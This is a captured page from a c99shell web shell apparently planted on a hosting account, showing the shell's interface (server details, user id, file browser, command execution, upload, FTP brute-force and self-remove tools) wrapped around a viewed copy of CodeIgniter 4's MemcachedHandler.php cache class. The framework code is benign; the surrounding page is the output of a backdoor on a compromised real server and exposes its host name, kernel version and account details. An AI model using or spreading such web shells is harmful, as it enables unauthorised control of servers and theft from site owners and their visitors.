smsonayla.org - c99shell

!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: LiteSpeed. PHP/7.4.33 

uname -a: Linux server704.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13
UTC 2025 x86_64
 

uid=1309(necipbey) gid=1314(necipbey) groups=1314(necipbey) 

Safe-mode: OFF (not secure)

/home/necipbey/public_html/system/Cache/Handlers/   drwxr-xr-x
Free 3429.77 GB of 4265.01 GB (80.42%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     MemcachedHandler.php (7.04 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * This file is part of CodeIgniter 4 framework.
 *
 * (c) CodeIgniter Foundation <admin@codeigniter.com>
 *
 * For the full copyright and license information, please view
 * the LICENSE file that was distributed with this source code.
 */

namespace CodeIgniter\Cache\Handlers;

use 
CodeIgniter\Exceptions\CriticalError;
use 
Config\Cache;
use 
Exception;
use 
Memcache;
use 
Memcached;

/**
 * Mamcached cache handler
 */
class MemcachedHandler extends BaseHandler
{
    
/**
     * The memcached object
     *
     * @var Memcache|Memcached
     */
    
protected $memcached;

    
/**
     * Memcached Configuration
     *
     * @var array
     */
    
protected $config = [
        
'host'   => '127.0.0.1',
        
'port'   => 11211,
        
'weight' => 1,
        
'raw'    => false,
    ];

    public function 
__construct(Cache $config)
    {
        
$this->prefix $config->prefix;

        if (! empty(
$config)) {
            
$this->config array_merge($this->config$config->memcached);
        }
    }

    
/**
     * Closes the connection to Memcache(d) if present.
     */
    
public function __destruct()
    {
        if (
$this->memcached instanceof Memcached) {
            
$this->memcached->quit();
        } elseif (
$this->memcached instanceof Memcache) {
            
$this->memcached->close();
        }
    }

    
/**
     * {@inheritDoc}
     */
    
public function initialize()
    {
        try {
            if (
class_exists(Memcached::class)) {
                
// Create new instance of Memcached
                
$this->memcached = new Memcached();
                if (
$this->config['raw']) {
                    
$this->memcached->setOption(Memcached::OPT_BINARY_PROTOCOLtrue);
                }

                
// Add server
                
$this->memcached->addServer(
                    
$this->config['host'],
                    
$this->config['port'],
                    
$this->config['weight']
                );

                
// attempt to get status of servers
                
$stats $this->memcached->getStats();

                
// $stats should be an associate array with a key in the format of host:port.
                // If it doesn't have the key, we know the server is not working as expected.
                
if (! isset($stats[$this->config['host'] . ':' $this->config['port']])) {
                    throw new 
CriticalError('Cache: Memcached connection failed.');
                }
            } elseif (
class_exists(Memcache::class)) {
                
// Create new instance of Memcache
                
$this->memcached = new Memcache();

                
// Check if we can connect to the server
                
$canConnect $this->memcached->connect(
                    
$this->config['host'],
                    
$this->config['port']
                );

                
// If we can't connect, throw a CriticalError exception
                
if ($canConnect === false) {
                    throw new 
CriticalError('Cache: Memcache connection failed.');
                }

                
// Add server, third parameter is persistence and defaults to TRUE.
                
$this->memcached->addServer(
                    
$this->config['host'],
                    
$this->config['port'],
                    
true,
                    
$this->config['weight']
                );
            } else {
                throw new 
CriticalError('Cache: Not support Memcache(d) extension.');
            }
        } catch (
CriticalError $e) {
            throw 
$e;
        } catch (
Exception $e) {
            throw new 
CriticalError('Cache: Memcache(d) connection refused (' $e->getMessage() . ').');
        }
    }

    
/**
     * {@inheritDoc}
     */
    
public function get(string $key)
    {
        
$key = static::validateKey($key$this->prefix);

        if (
$this->memcached instanceof Memcached) {
            
$data $this->memcached->get($key);

            
// check for unmatched key
            
if ($this->memcached->getResultCode() === Memcached::RES_NOTFOUND) {
                return 
null;
            }
        } elseif (
$this->memcached instanceof Memcache) {
            
$flags false;
            
$data  $this->memcached->get($key$flags);

            
// check for unmatched key (i.e. $flags is untouched)
            
if ($flags === false) {
                return 
null;
            }
        }

        return 
is_array($data) ? $data[0] : $data;
    }

    
/**
     * {@inheritDoc}
     */
    
public function save(string $key$valueint $ttl 60)
    {
        
$key = static::validateKey($key$this->prefix);

        if (! 
$this->config['raw']) {
            
$value = [
                
$value,
                
time(),
                
$ttl,
            ];
        }

        if (
$this->memcached instanceof Memcached) {
            return 
$this->memcached->set($key$value$ttl);
        }

        if (
$this->memcached instanceof Memcache) {
            return 
$this->memcached->set($key$value0$ttl);
        }

        return 
false;
    }

    
/**
     * {@inheritDoc}
     */
    
public function delete(string $key)
    {
        
$key = static::validateKey($key$this->prefix);

        return 
$this->memcached->delete($key);
    }

    
/**
     * {@inheritDoc}
     */
    
public function deleteMatching(string $pattern)
    {
        throw new 
Exception('The deleteMatching method is not implemented for Memcached. You must select File, Redis or Predis handlers to use it.');
    }

    
/**
     * {@inheritDoc}
     */
    
public function increment(string $keyint $offset 1)
    {
        if (! 
$this->config['raw']) {
            return 
false;
        }

        
$key = static::validateKey($key$this->prefix);

        return 
$this->memcached->increment($key$offset$offset60);
    }

    
/**
     * {@inheritDoc}
     */
    
public function decrement(string $keyint $offset 1)
    {
        if (! 
$this->config['raw']) {
            return 
false;
        }

        
$key = static::validateKey($key$this->prefix);

        
// FIXME: third parameter isn't other handler actions.

        
return $this->memcached->decrement($key$offset$offset60);
    }

    
/**
     * {@inheritDoc}
     */
    
public function clean()
    {
        return 
$this->memcached->flush();
    }

    
/**
     * {@inheritDoc}
     */
    
public function getCacheInfo()
    {
        return 
$this->memcached->getStats();
    }

    
/**
     * {@inheritDoc}
     */
    
public function getMetaData(string $key)
    {
        
$key    = static::validateKey($key$this->prefix);
        
$stored $this->memcached->get($key);

        
// if not an array, don't try to count for PHP7.2
        
if (! is_array($stored) || count($stored) !== 3) {
            return 
false// @TODO This will return null in a future release
        
}

        [
$data$time$limit] = $stored;

        return [
            
'expire' => $limit $time $limit null,
            
'mtime'  => $time,
            
'data'   => $data,
        ];
    }

    
/**
     * {@inheritDoc}
     */
    
public function isSupported(): bool
    
{
        return 
extension_loaded('memcached') || extension_loaded('memcache');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0072 ]--